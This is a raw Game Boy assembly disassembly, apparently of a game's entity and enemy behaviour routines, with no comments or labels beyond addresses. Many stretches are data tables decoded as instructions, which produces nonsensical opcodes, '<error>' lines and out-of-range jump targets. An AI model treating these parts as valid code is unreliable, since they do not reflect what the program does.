add hl, bc
ld a, [hl]
and $30
jr z, 0.l_5865
ld hl, $c250
add hl, bc
ld [hl], $f8
call func_79d4
ldh a, [$ff00 + $ec]
cp $10
jp c, $7a6b
ret
ld [hl], h
nop
halt
nop
halt
jr nz, 0.l_58e8
jr nz, 0.l_5887
ld l, l
ld e, b
call func_3c3b
call func_7965
call func_08e2
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
push af
rr a
rr a
rr a
rr a
and $01
call func_3b87
call func_3bb4
pop af
ld e, $fc
and $10
jr z, 0.l_589d
ld e, $04
ld hl, $c240
add hl, bc
ld [hl], e
ld hl, $c250
add hl, bc
ld [hl], $0c
call func_79d1
ldh a, [$ff00 + $ec]
cp $8b
jp nc, $7a6b
ret
ld a, b
nop
ld a, d
nop
ld a, h
nop
ld a, [hl]
nop
ld bc, $08ff
ldhl sp, d
ld hl, $c240
add hl, bc
ld a, [hl]
cpl
rr a
rr a
and $20
ldh [$ff00 + $ed], a
ld de, $58b3
call func_3c3b
call func_7965
call func_08e2
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
rr a
and $01
call func_3b87
call func_3bb4
ldh a, [$ff00 + $e7]
and $03
jr nz, 0.l_5909
ld hl, $c290
add hl, bc
ld a, [hl]
and $01
ld e, a
ld d, b
ld hl, $58bb
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
add a, [hl]
ld [hl], a
ld hl, $58bd
add hl, de
cp [hl]
jr nz, 0.l_5909
call func_3b8d
call func_79d1
call func_0891
jr nz, 0.l_5918
ldh a, [$ff00 + $ee]
cp $a8
jp nc, $7a6b
ret
rlc a
nop
rrc a
rlc a
ld e, $0f
ccf
jr 0.l_5961
stop
ccf
inc d
ccf
stop
daa
dec de
ldh [$ff00 + $00], a
ldh a, [$ff00 + $e0]
jr 0.l_591f
adc a, h
ld a, b
adc a, h
ld [hl], b
ccf
ret nz
rst 38
ld a, $ef
pop af
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc bc
nop
rlc a
inc bc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ccf
nop
rst 38
ld a, $ef
pop af
ld hl, $c430
add hl, bc
ld a, [hl]
and $7f
ld [hl], a
ld e, $0f
ld d, b
ld hl, $c280
add hl, de
ld [hl], b
dec e
ld a, e
cp $01
jr nz, 0.l_5964
ld a, [$d478]
and a
jr z, 0.l_5998
ld a, $05
call func_07b9
call func_5a3f
ld hl, $c290
add hl, de
ld [hl], $07
ld hl, $c2e0
add hl, de
ld [hl], $60
ld a, $01
ldh [$ff00 + $a5], a
call func_3b8d
ld [hl], $04
ld a, $c0
ld [$c210], a
ret
ld a, $02
ldh [$ff00 + $a5], a
ld [$d478], a
call func_0891
ld [hl], $80
ld e, $0c
xor a
ld hl, $d790
ldi [hl], a
dec e
jr nz, 0.l_59aa
ld a, $02
ld [$d205], a
ld a, $5c
ld [$d368], a
ret
stop
ldh a, [$ff00 + $21]
or b
jp nz, .l_7e09
rst 0
ret
ld e, c
xor e
ld e, d
and e
ld h, c
dec d
ld h, d
ldh a, [$ff00 + $f0]
rst 0
rst 10
ld e, c
ld d, $5a
halt
ld e, d
ld a, d
ld e, d
adc a, d
ld e, d
ret
call func_5a99
ldh a, [$ff00 + $ea]
cp $05
jr nz, 0.l_59d6
ld a, $02
ldh [$ff00 + $e8], a
ld a, $63
call func_3c01
push bc
ldh a, [$ff00 + $e8]
ld c, a
ld hl, $59b8
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
sub a, $10
ld hl, $c210
add hl, de
ld [hl], a
pop bc
ld hl, $c2b0
add hl, de
ld [hl], $02
ldh a, [$ff00 + $e8]
dec a
jr nz, 0.l_59e2
call func_0891
ld [hl], $43
jp $3b8d
call func_5a99
call func_7965
ld a, $02
ldh [$ff00 + $a1], a
call func_0891
and a
jr z, 0.l_5a3a
cp $20
jr nz, 0.l_5a75
ldh a, [$ff00 + $99]
push af
ld a, $10
ldh [$ff00 + $99], a
ld a, $ba
call func_2197
pop af
ldh [$ff00 + $99], a
ret
ld a, $54
ld [$d368], a
ld a, $63
call func_3c01
ld hl, $c360
add hl, de
ld [hl], $0c
ld hl, $c200
add hl, de
ld [hl], $d0
ld hl, $c210
add hl, de
ld [hl], $18
ld hl, $c2b0
add hl, de
ld [hl], $01
ld hl, $c240
add hl, de
ld [hl], $e0
ld hl, $c380
add hl, de
ld [hl], $00
ld hl, $c2e0
add hl, de
ld [hl], $80
call func_5b62
call func_3b8d
ret
ret
call func_5a99
ret
call func_5a99
call func_7965
call func_79d1
ld hl, $c250
add hl, bc
inc [hl]
inc [hl]
ret
ld hl, $c340
add hl, bc
ld [hl], $c2
ret
ld a, [hl]
nop
ld a, [hl]
jr nz, 0.l_5b14
ld b, b
ld a, [hl]
ld h, b
ld de, $5a91
call func_3c3b
ret
ld [bc], a
ld [bc], a
ld [bc], a
nop
ld bc, $0100
inc b
inc b
inc b
inc b
call func_613f
ldh a, [$ff00 + $ea]
cp $05
jp nz, .l_7d8d
call func_7965
call func_08e2
ldh a, [$ff00 + $f0]
cp $0e
jr z, 0.l_5af7
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr z, 0.l_5af7
ld hl, $c420
add hl, bc
ld [hl], $50
call func_3daf
call func_3b8d
ld [hl], $0e
ld a, $31
ldh [$ff00 + $f4], a
ld hl, $c340
add hl, bc
ld [hl], $42
ld hl, $c2d0
add hl, bc
inc [hl]
ld a, [hl]
cp $08
jr nz, 0.l_5aec
dec [hl]
ld e, a
ld d, b
ld hl, $5aa0
add hl, de
ld a, [hl]
ld [$d205], a
ret
ldh a, [$ff00 + $f0]
rst 0
jr 0.l_5b57
ld l, $5b
ld [hl], h
ld e, e
sbc a, a
ld e, e
ret nc
ld e, e
<error>
ld e, e
dec d
ld e, h
ld e, e
ld e, h
inc sp
ld e, l
add a, h
ld e, l
add a, d
ld e, [hl]
<error>
ld e, [hl]
pop af
ld e, [hl]
ld h, d
ld e, a
ld [hl], e
ld e, a
call func_79d1
call func_0891
jr nz, 0.l_5b2d
call func_3b8d
call func_0891
ld [hl], $20
ld a, $ff
call func_3b87
ret
call func_0891
jr nz, 0.l_5b66
xor a
call func_3b87
ld hl, $c210
add hl, bc
ld a, [hl]
add a, $14
ld [hl], a
ld hl, $c240
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ld hl, $c380
add hl, bc
ld a, [hl]
xor $04
ld [hl], a
ld hl, $c2c0
add hl, bc
inc [hl]
ld a, [hl]
cp $02
jr z, 0.l_5b67
call func_3b8d
ld [hl], b
call func_0891
ld [hl], $80
ld a, $22
ldh [$ff00 + $f4], a
ret
call func_3b8d
call func_0891
ld [hl], $30
ld a, $30
ldh [$ff00 + $f4], a
ret
call func_79d1
call func_0891
cp $01
jr nz, 0.l_5b83
ld hl, $fff2
ld [hl], $30
and a
jr nz, 0.l_5b9e
ld hl, $c240
add hl, bc
inc [hl]
jr nz, 0.l_5b9b
call func_3b8d
call func_0891
ld [hl], $40
ld hl, $c29e
inc [hl]
inc hl
inc [hl]
call func_5bbf
ret
ld a, $02
ldh [$ff00 + $a1], a
call func_0891
jr nz, $15bbf
ld [hl], $28
ld a, $d0
ld [$c250], a
ld a, $24
ldh [$ff00 + $f2], a
ld a, $12
ld [$c240], a
ld hl, $c290
inc [hl]
call func_3b8d
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
and $04
ld a, $01
jr z, 0.l_5bcc
inc a
call func_3b87
ret
ld a, $02
ldh [$ff00 + $a1], a
call func_0891
jr nz, 0.l_5beb
ld a, $01
ldh [$ff00 + $a5], a
ld [hl], $20
call func_3b8d
ld hl, $c290
inc [hl]
ld a, $c0
ld [$c210], a
jp $5bbf
ld bc, $0302
ld [bc], a
ld a, $02
ldh [$ff00 + $a1], a
call func_0891
jr nz, $15bfe
call func_3b8d
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
rr a
rr a
rr a
nop
and $03
ld e, a
ld d, b
ld hl, $5bee
add hl, de
ld a, [hl]
call func_3b87
ret
call func_79d1
ld hl, $c240
add hl, bc
ld a, [hl]
cp $d4
jr nz, 0.l_5c42
ldh a, [$ff00 + $ee]
and $f8
cp $c0
jr nz, 0.l_5c32
call func_3b8d
call func_0891
ld [hl], $80
ret
ldh a, [$ff00 + $e7]
and $00
jr nz, 0.l_5c3d
ld hl, $c250
add hl, bc
dec [hl]
xor a
call func_3b87
ret
dec [hl]
dec [hl]
call func_5bfe
call func_5bfe
jp $5bfe
ldhl sp, d
xor b
jr nc, 0.l_5c21
jr nc, 0.l_5cc3
call c, func_f824
xor b
jr nz, 0.l_5c39
inc b
nop
call func_0891
jr nz, 0.l_5caf
ld a, [$d205]
rst 0
ld l, [hl]
ld e, h
or b
ld e, h
ld [$ea5c], a
ld e, h
or b
ld e, h
call func_27ed
and $03
ld [$d205], a
ld e, $00
ldh a, [$ff00 + $98]
cp $50
jr nc, 0.l_5c7f
inc e
ld d, b
ld hl, $5c4d
add hl, de
ld a, [hl]
ld hl, $c200
add hl, bc
ld [hl], a
ld hl, $5c4f
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $5c59
add hl, de
ld a, [hl]
ld hl, $c380
add hl, bc
ld [hl], a
ld hl, $c210
add hl, bc
ld [hl], $00
ld hl, $c250
add hl, bc
ld [hl], $20
call func_3b8d
ld [hl], $08
ret
ld e, $00
ldh a, [$ff00 + $98]
cp $50
jr nc, 0.l_5cb9
inc e
ld d, b
ld hl, $5c51
add hl, de
ld a, [hl]
ld hl, $c200
add hl, bc
ld [hl], a
ld hl, $c240
add hl, bc
ld [hl], b
ld hl, $5c59
add hl, de
ld a, [hl]
ld hl, $c380
add hl, bc
ld [hl], a
ld hl, $c210
add hl, bc
ld [hl], $f0
ld hl, $c250
add hl, bc
ld [hl], $10
call func_3b8d
ld [hl], $0b
call func_0891
ld [hl], $30
ret
call func_27ed
and $01
ld e, a
ld d, b
ld hl, $5c55
add hl, de
ld a, [hl]
ld hl, $c200
add hl, bc
ld [hl], a
ld hl, $5c57
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $c250
add hl, bc
ld [hl], b
ld hl, $5c59
add hl, de
ld a, [hl]
ld hl, $c380
add hl, bc
ld [hl], a
call func_27ed
and $3f
add a, $18
ld hl, $c210
add hl, bc
ld [hl], a
ldh a, [$ff00 + $9c]
and a
jr z, 0.l_5d28
ldh a, [$ff00 + $99]
ld [hl], a
call func_3b8d
ld [hl], $0d
call func_0891
ld [hl], $70
ret
ld a, $01
call func_3b87
call func_79d1
ld hl, $c250
call func_5d48
ld a, [hl]
and a
jr z, 0.l_5d55
ld hl, $c240
add hl, bc
ld a, [hl]
and a
jr z, 0.l_5d54
and $80
jr nz, 0.l_5d53
dec [hl]
dec [hl]
inc [hl]
ret
call func_3b8d
call func_0891
ld [hl], $ff
ret
xor $12
ret nc
jr nc, 0.l_5d73
ldh a, [$ff00 + $d8]
call nc, func_ccd0
ret z
call nz, func_bcc0
jr z, 0.l_5d9a
jr nc, 0.l_5da4
jr c, 0.l_5dae
ld b, b
ld b, h
jr nc, 0.l_5da4
inc l
ldi a, [hl]
jr z, 0.l_5da0
inc h
ldi [hl], a
jr nc, 0.l_5dac
inc l
ldi a, [hl]
jr z, 0.l_5da8
inc h
ldi [hl], a
call func_0891
jp z, .l_5e77
ld hl, $c210
add hl, bc
ldh a, [$ff00 + $e7]
and $03
jr nz, 0.l_5d9d
ldh a, [$ff00 + $e7]
and $20
jr z, 0.l_5d9c
inc [hl]
inc [hl]
dec [hl]
call func_5bfe
call func_5bfe
ldh a, [$ff00 + $9c]
and a
jr nz, 0.l_5dd1
ld a, [$c146]
and a
jr z, 0.l_5dd1
ld hl, $c380
add hl, bc
ld a, [hl]
rr a
rr a
and $01
ld e, a
ld d, b
ld hl, $5d60
add hl, de
ld a, [hl]
ld hl, $ff9a
sub a, [hl]
and a
jr z, 0.l_5dea
and $80
jr nz, 0.l_5dcd
inc [hl]
inc [hl]
inc [hl]
inc [hl]
dec [hl]
dec [hl]
jr 0.l_5dea
ld hl, $c380
add hl, bc
ld e, [hl]
srl e
srl e
ld d, b
ld hl, $5d5e
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
push bc
call func_20e0
call func_3e49
pop bc
ld a, [$d210]
inc a
cp $22
jr c, 0.l_5df7
ld a, $32
ldh [$ff00 + $f4], a
xor a
ld [$d210], a
call func_0891
cp $c0
jr nc, 0.l_5e76
ldh a, [$ff00 + $e7]
and $0f
jr nz, 0.l_5e76
ld a, $63
ld e, $03
call func_3c13
jr c, 0.l_5e76
ld hl, $c2b0
add hl, de
ld [hl], $03
push bc
ld hl, $c380
add hl, bc
ld c, [hl]
srl c
srl c
ld hl, $5d62
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
add a, $0c
ld [hl], a
ld hl, $c3b0
add hl, de
ld a, c
xor $01
ld [hl], a
ld hl, $c380
add hl, de
ld [hl], a
sla c
sla c
sla c
call func_27ed
and $07
add a, c
ld c, a
ld hl, $5d74
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, de
ld [hl], a
ld hl, $5d64
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
pop bc
ld hl, $c340
add hl, de
ld [hl], $02
ld hl, $c430
add hl, de
ld [hl], $00
ld hl, $c4d0
add hl, de
ld [hl], $02
ret
call func_3b8d
call func_0891
ld [hl], $50
ret
ldh [$ff00 + $20], a
call func_79d1
call func_0891
jr z, 0.l_5ec0
ld hl, $c380
add hl, bc
ld a, [hl]
rr a
rr a
and $01
ld e, a
ld d, b
ld hl, $5e80
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
sub a, [hl]
and a
jr z, 0.l_5eb0
and $80
jr nz, 0.l_5ea8
inc [hl]
inc [hl]
dec [hl]
call func_5bfe
call func_5bfe
ret
xor a
call func_3b87
ldh a, [$ff00 + $e7]
and $01
jr nz, 0.l_5ebf
ld hl, $c250
add hl, bc
dec [hl]
ret
ld hl, $c340
add hl, bc
ld [hl], $02
call func_3b8d
ld [hl], $07
call func_0891
ld a, [$d205]
cp $04
jr nz, 0.l_5ed8
ld [hl], $10
ret
ld [hl], $80
ret
call func_79d1
call func_0891
jr nz, 0.l_5eeb
ld [hl], $30
call func_3b8d
call func_3daf
call func_5bfe
ret
ldh [$ff00 + $20], a
call func_79d1
call func_0891
jr nz, 0.l_5f33
ldh a, [$ff00 + $ec]
cp $b0
jp nc, .l_5ec0
ld a, $01
call func_3b87
ld a, [$c13e]
and a
jr nz, 0.l_5f32
call func_3bb4
ld a, [$c13e]
and a
jr z, 0.l_5f32
ld a, $10
ld [$c13e], a
ld hl, $c380
add hl, bc
ld e, [hl]
srl e
srl e
ld d, b
ld hl, $5eef
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld a, $f0
ldh [$ff00 + $9b], a
ld hl, $ff99
dec [hl]
ret
cp $01
jr nz, 0.l_5f51
ld hl, $c380
add hl, bc
ld e, [hl]
srl e
srl e
ld d, b
ld hl, $5c53
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $c250
add hl, bc
ld [hl], $34
call func_5bfe
call func_0891
cp $40
jr nc, 0.l_5f61
call func_5bfe
call func_5bfe
ret
xor a
call func_3b87
call func_79d1
call func_3bb4
call func_0891
jp z, .l_5ec0
ret
ld hl, $c420
add hl, bc
ld a, [hl]
and a
jr z, 0.l_5f8d
cp $30
jr nc, 0.l_5f8c
dec a
jr nz, 0.l_5f86
ld a, $31
ldh [$ff00 + $f4], a
call func_5bfe
call func_5bfe
ret
call func_5bfe
call func_5bfe
call func_5bfe
ld hl, $c250
add hl, bc
ld a, [hl]
cp $d0
jr z, 0.l_5fa0
dec [hl]
call func_79d1
ldh a, [$ff00 + $ec]
and $f0
cp $c0
jr nz, 0.l_5fae
jp .l_5ec0
ret
nop
nop
ld b, b
nop
nop
ld [$0042], sp
nop
stop
ld b, h
nop
ldhl sp, d
jr 0.l_6004
nop
ldhl sp, d
jr nz, 0.l_600a
nop
ldhl sp, d
jr z, 0.l_6010
nop
ld [$4c18], sp
nop
ld [$4e20], sp
nop
ld [$5028], sp
nop
nop
jr nc, 0.l_6028
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld b, b
nop
nop
ld [$0042], sp
nop
stop
ld e, d
nop
nop
jr 0.l_604a
nop
nop
jr nz, 0.l_6050
nop
stop
ld [$0060], sp
stop
stop
ld h, d
nop
stop
jr 0.l_6062
nop
stop
jr nz, 0.l_6068
nop
ldh a, [$ff00 + $18]
ld d, h
nop
ldh a, [$ff00 + $20]
ld d, [hl]
nop
ldh a, [$ff00 + $28]
ld e, b
nop
nop
nop
ld b, b
nop
nop
ld [$0042], sp
nop
stop
ld e, d
nop
nop
jr 0.l_6086
nop
nop
jr nz, 0.l_608c
nop
stop
ld [$0060], sp
stop
stop
ld h, d
nop
stop
jr 0.l_6092
nop
stop
jr nz, 0.l_6098
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
ld b, b
nop
nop
ld [$0042], sp
nop
stop
ld l, h
nop
nop
jr 0.l_60bc
nop
nop
jr nz, 0.l_60c2
nop
stop
ld [$0060], sp
stop
stop
ld [hl], d
nop
stop
jr 0.l_60d2
nop
stop
jr nz, 0.l_60d8
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
ld [$2040], sp
nop
nop
ld b, d
jr nz, 0.l_6078
ldhl sp, d
ld b, h
jr nz, 0.l_6074
ldh a, [$ff00 + $46]
jr nz, 0.l_6078
add sp, d
ld c, b
jr nz, 0.l_607c
ldh [$ff00 + $4a], a
jr nz, 0.l_6090
ldh a, [$ff00 + $4c]
jr nz, 0.l_6094
add sp, d
ld c, [hl]
jr nz, 0.l_6098
ldh [$ff00 + $50], a
jr nz, 0.l_6094
ret c
ld d, d
jr nz, 0.l_6097
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
ld [$2040], sp
nop
nop
ld b, d
jr nz, 0.l_60a8
ldhl sp, d
ld e, d
jr nz, 0.l_60ac
ldh a, [$ff00 + $5c]
jr nz, 0.l_60b0
add sp, d
ld e, [hl]
jr nz, 0.l_60c4
nop
ld h, b
jr nz, 0.l_60c8
ldhl sp, d
ld h, d
jr nz, 0.l_60cc
ldh a, [$ff00 + $64]
jr nz, 0.l_60d0
add sp, d
ld h, [hl]
jr nz, 0.l_60b4
ldh a, [$ff00 + $54]
jr nz, 0.l_60b8
add sp, d
ld d, [hl]
jr nz, 0.l_60bc
ldh [$ff00 + $58], a
jr nz, 0.l_60d0
ld [$2040], sp
nop
nop
ld b, d
jr nz, 0.l_60d8
ldhl sp, d
ld e, d
jr nz, 0.l_60dc
ldh a, [$ff00 + $68]
jr nz, 0.l_60e0
add sp, d
ld l, d
jr nz, 0.l_60f4
nop
ld h, b
jr nz, 0.l_60f8
ldhl sp, d
ld h, d
jr nz, 0.l_60fc
ldh a, [$ff00 + $64]
jr nz, 0.l_6100
add sp, d
ld h, [hl]
jr nz, 0.l_60f3
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
ld [$2040], sp
nop
nop
ld b, d
jr nz, 0.l_6108
ldhl sp, d
ld l, h
jr nz, 0.l_610c
ldh a, [$ff00 + $6e]
jr nz, 0.l_6110
add sp, d
ld [hl], b
jr nz, 0.l_6124
nop
ld h, b
jr nz, 0.l_6128
ldhl sp, d
ld [hl], d
jr nz, 0.l_612c
ldh a, [$ff00 + $74]
jr nz, 0.l_6130
add sp, d
halt
jr nz, 0.l_6123
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
inc e
inc e
ld [$140c], sp
stop
stop
stop
<error>
inc e
ld [$fc0c], sp
stop
stop
stop
ld hl, $c380
add hl, bc
ldh a, [$ff00 + $f1]
add a, [hl]
ld hl, $5faf
cp $04
jr c, 0.l_6152
sub a, $04
ld hl, $606f
ld e, a
ld d, b
sla e
sla e
sla e
sla e
ld a, e
sla e
add a, e
ld e, a
add hl, de
ld c, $0c
call func_3d26
ld a, $0a
call func_3dd0
ld e, $00
ldh a, [$ff00 + $f1]
and a
jr z, 0.l_6175
ld e, $04
ld hl, $c380
add hl, bc
ld a, [hl]
and a
jr z, 0.l_6181
ld a, e
add a, $08
ld e, a
ld d, b
ld hl, $612f
add hl, de
push hl
pop de
push bc
sla c
sla c
ld hl, $d580
add hl, bc
ld c, $04
ld a, [de]
inc de
ldi [hl], a
dec c
jr nz, 0.l_6193
pop bc
ret
ld a, h
nop
ld a, h
jr nz, 0.l_621c
ld b, b
ld a, h
ld h, b
ld a, $02
ldh [$ff00 + $a1], a
ld de, $619b
call func_3c3b
call func_7965
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
call func_3b87
ldh a, [$ff00 + $f0]
rst 0
pop bc
ld h, c
and $61
ld hl, $c210
add hl, bc
ld e, $07
call func_61d0
ld hl, $c200
add hl, bc
ld e, $00
ldh a, [$ff00 + $e7]
add a, e
ld d, a
and $03
jr nz, 0.l_61e5
ld a, d
rr a
rr a
rr a
rr a
xor c
and $01
jr z, 0.l_61e4
inc [hl]
inc [hl]
dec [hl]
ret
call func_79d1
ld hl, $c240
add hl, bc
ld a, [hl]
cp $c0
jr z, 0.l_61f3
dec [hl]
ld hl, $c250
add hl, bc
ld a, [hl]
cp $f0
jr z, 0.l_61fd
dec [hl]
ldh a, [$ff00 + $ee]
cp $e0
jp nc, $7a6b
ret
ld a, d
jr nz, 0.l_6280
jr nz, 0.l_6282
nop
ld a, d
nop
ld a, d
ld h, b
ld a, b
ld h, b
ld a, b
ld b, b
ld a, d
ld b, b
ld de, $6205
call func_3c3b
call func_7965
call func_79d1
ldh a, [$ff00 + $f0]
rst 0
jr z, 0.l_6288
ld b, a
ld h, d
call func_3bca
ld hl, $c2a0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_6242
call func_3b8d
ld hl, $c250
add hl, bc
ld [hl], $e0
ld hl, $c3b0
add hl, bc
inc [hl]
inc [hl]
ld hl, $c250
add hl, bc
dec [hl]
ldh a, [$ff00 + $ee]
cp $a8
jp nc, $7a6b
ret
call func_0891
ld [hl], $40
ld hl, $c3b0
add hl, bc
ld [hl], $ff
ld hl, $c360
add hl, bc
ld [hl], $ff
ret
call func_380e
call func_3f12
ld hl, $c2b0
add hl, bc
ld a, [hl]
and a
jr z, 0.l_627c
cp $01
jp z, .l_66cf
cp $02
jp z, .l_66f2
jp .l_6746
call func_665a
ldh a, [$ff00 + $ea]
cp $01
jr nz, 0.l_62c4
ld hl, $c2c0
add hl, bc
ld a, [hl]
rst 0
adc a, a
ld h, d
sbc a, d
ld h, d
call func_0891
ld [hl], $ff
ld hl, $c2c0
add hl, bc
inc [hl]
ret
call func_0891
jp z, .l_62ad
ld hl, $c420
add hl, bc
ld [hl], a
cp $80
jr nc, 0.l_62ac
call func_7476
ret
call func_74ad
ld hl, $c200
add hl, de
ldh a, [$ff00 + $98]
ld [hl], a
ld hl, $c210
add hl, de
ld [hl], $70
ld hl, $c310
add hl, de
ld [hl], $70
ret
call func_7965
call func_08e2
ldh a, [$ff00 + $f0]
rst 0
rst 30
ld h, d
inc a
ld h, e
rst 18
ld h, e
adc a, b
ld h, h
adc a, $64
jr z, 0.l_6311
ld e, b
ld l, b
jr z, 0.l_6315
ld e, b
ld l, b
jr c, 0.l_6311
jr nc, 0.l_631b
ld d, b
ld e, b
ld e, b
ld d, b
stop
stop
ldh a, [$ff00 + $f0]
stop
stop
ldh a, [$ff00 + $f0]
<error>
inc bc
inc bc
<error>
inc bc
<error>
<error>
inc bc
call func_0891
jr nz, 0.l_633b
call func_27ed
and $07
ld e, a
ld d, b
ld hl, $62d7
add hl, de
ld a, [hl]
ld hl, $c200
add hl, bc
ld [hl], a
ld hl, $62df
add hl, de
ld a, [hl]
ld hl, $c210
add hl, bc
ld [hl], a
ld hl, $62e7
add hl, de
ld a, [hl]
ld hl, $c240
add hl, bc
ld [hl], a
ld hl, $62ef
add hl, de
ld a, [hl]
ld hl, $c250
add hl, bc
ld [hl], a
ld hl, $c320
add hl, bc
ld [hl], $18
ld a, $16
ldh [$ff00 + $f3], a
call func_652e
call func_3b8d
ret
ld hl, $c240
add hl, bc
ld a, [hl]
and a
jr z, 0.l_6395
ld hl, $c420
add hl, bc
ld a, [hl]
cp $0b
jr c, 0.l_6395
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $05
jr nc, 0.l_6394
call func_3b8d
call func_0891
ld [hl], $40
ld hl, $c240
add hl, bc
ld [hl], $18
ld hl, $c250
add hl, bc
ld [hl], $18
ld hl, $c320
add hl, bc
ld [hl], b
call func_0887
ld [hl], $40
ldh a, [$ff00 + $ee]
add a, $f8
ldh [$ff00 + $d7], a
call func_6383
ldh a, [$ff00 + $ee]
add a, $08
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
sub a, $10
ldh [$ff00 + $d8], a
ld a, $02
call func_0953
ld hl, $c520
add hl, de
ld [hl], $0f
ret
call func_79d1
call func_7a0a
ld hl, $c320
add hl, bc
dec [hl]
ld hl, $c310
add hl, bc
ld a, [hl]
and $80
jr z, 0.l_63c2
ld [hl], b
call func_0891
ld [hl], $40
call func_3b8d
ld [hl], b
call func_6566
call func_652e
ld a, $32
ldh [$ff00 + $f2], a
ld a, $ff
jp $3b87
ld hl, $c3d0
add hl, bc
ld a, [hl]
cp $05
jp nc, .l_64c1
ld hl, $c240
add hl, bc
ld a, [hl]
and a
jr z, 0.l_63de
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
jp $3b87
ret
ld a, $02
call func_3b87
call func_0891
jr z, 0.l_6400
and $02
ld e, $08
jr z, 0.l_63f1
ld e, $f8
ld hl, $c240
add hl, bc
push hl
ld a, [hl]
push af
ld [hl], e
call func_79de
pop af
pop hl
ld [hl], a
ret
call func_3bb4
call func_0887
jr nz, 0.l_641d
ldh a, [$ff00 + $ee]
cp $70
jr nc, 0.l_641d
ldh a, [$ff00 + $ec]
cp $50
jr nc, 0.l_641d
call func_3daf
call func_3b8d
ld [hl], $01
ret
ld hl, $c420
add hl, bc
ld a, [hl]
cp $08
jr nz, 0.l_6448
ldh a, [$ff00 + $ee]
cp $70
jr nc, 0.l_6448
ldh a, [$ff00 + $ec]
cp $50
jr nc, 0.l_6448
ld hl, $c3d0
add hl, bc
inc [hl]
ld a, [hl]
cp $05
jr c, 0.l_6448
call func_3b8d
call func_3daf
call func_0891
ld [hl], $80
ret
ld hl, $c420
add hl, bc
ld a, [hl]
cp $0b
jr nc, 0.l_6487
call func_79d1
call func_3b9e
ld hl, $c2a0
add hl, bc
ld a, [hl]
push af
and $03
jr z, 0.l_6467
ld hl, $c240
call func_646f
pop af
and $0c
jr z, 0.l_6474
ld hl, $c250
add hl, bc
ld a, [hl]
cpl
inc a
ld [hl], a
ldh a, [$ff00 + $e7]
and $07
jr nz, 0.l_6487
ldh a, [$ff00 + $ee]
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $ec]
ldh [$ff00 + $d8], a
ld a, $0a
call func_0953
ret
call func_0891
cp $40
jr c, 0.l_64af
jr nz, 0.l_6498
ld a, $29
ldh [$ff00 + $f4], a
call func_64d4
and $02
ld e, $10
jr z, 0.l_64a0
ld e, $f0
ld hl, $c240
add hl, bc
push hl
ld a, [hl]
push af
ld [hl], e
call func_79de
pop af
pop hl
ld [hl], a
ret
and a
jr nz, 0.l_64c1
call func_3b8d
ld [hl], $01
call func_3daf
ld hl, $c360
add hl, bc
ld [hl], $08
ret
ldh a, [$ff00 + $e7]
rr a
rr a
rr a
and $01
add a, $03
call func_3b87
ret
ret
ret
ldhl sp, d
ld [$08f8], sp
ld a, $02
ldh [$ff00 + $e8], a
ld a, $62
call func_3c01
jr c, 0.l_6528
ld hl, $c2b0
add hl, de
ld [hl], $03
push bc
ldh a, [$ff00 + $e8]
ld c, a
ld hl, $64cf
add hl, bc
ldh a, [$ff00 + $d7]
add a, [hl]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ldh a, [$ff00 + $da]
ld hl, $c310
add hl, de
ld [hl], a
ld hl, $c3b0
add hl, de
ldh a, [$ff00 + $e8]
dec a
ld [hl], a
ld hl, $64d1
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $c250
add hl, de
ld [hl], $04
pop bc
ld hl, $c320
add hl, de
ld [hl], $08
ld hl, $c340
add hl, de
ld [hl], $42
ldh a, [$ff00 + $e8]
dec a
jr nz, 0.l_64d6
ret
ld a, $62
call func_3c01
jr c, 0.l_6555
ld hl, $c2b0
add hl, de
ld [hl], $01
ldh a, [$ff00 + $d7]
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $d8]
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c2e0
add hl, de
ld [hl], $14
ld hl, $c340
add hl, de
ld [hl], $c4
ret
ldhl sp, d
ld [$08f8], sp
<error>
<error>
inc b
inc b
<error>
inc c
<error>
inc c
<error>
<error>
inc c
inc c
ld a, $04
ldh [$ff00 + $e8], a
ld a, $62
call func_3c01
